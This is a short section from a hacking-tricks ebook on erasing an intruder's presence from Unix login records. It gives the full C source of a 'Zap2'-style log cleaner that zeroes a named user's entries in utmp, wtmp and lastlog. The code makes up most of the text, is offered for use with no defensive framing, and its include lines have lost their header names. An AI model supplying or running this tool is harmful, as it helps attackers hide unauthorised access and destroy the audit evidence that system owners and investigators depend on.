¤¤ Erasing Your Presence From System Logs ¤¤

//////////*1000+ HACKING TRICKS & TUTORIALS - ebook By Mukesh Bhardwaj Blogger - Paid Version - only @ TekGyd | itechhacks | Mukeshtricks4u*///////

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.

Example:

```
#include

#include

#include

#include

#include

#include

#include

#include

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"


int f;


void kill_utmp(who)

char *who;

{

    struct utmp utmp_ent;
```

```
 if ((f=open(UTMP_NAME,O_RDWR))>=0) {
      while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                    bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                    lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                    write (f, &utmp_ent, sizeof (utmp_ent));
               }
      close(f);
 }
}

void kill_wtmp(who)
char *who;
{
   struct utmp utmp_ent;
   long pos;

   pos = 1L;
   if ((f=open(WTMP_NAME,O_RDWR))>=0) {

      while(pos != -1L) {
         lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
         if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
             pos = -1L;
         } else {
             if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
```

```
                bzero((char *)&utmp_ent,sizeof(struct utmp ));
                lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
                write (f, &utmp_ent, sizeof (utmp_ent));
                pos = -1L;
            } else pos += 1L;
          }
        }
        close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

        if ((pwd=getpwnam(who))!=NULL) {

          if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
                lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
                bzero((char *)&newll,sizeof( newll ));
                write(f, (char *)&newll, sizeof( newll ));
                close(f);
          }

    } else printf("%s: ?\n",who);
```

```
}


main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
            kill_lastlog(argv[1]);
            kill_wtmp(argv[1]);
            kill_utmp(argv[1]);
            printf("Zap2!\n");
    } else
    printf("Error.\n");
}
```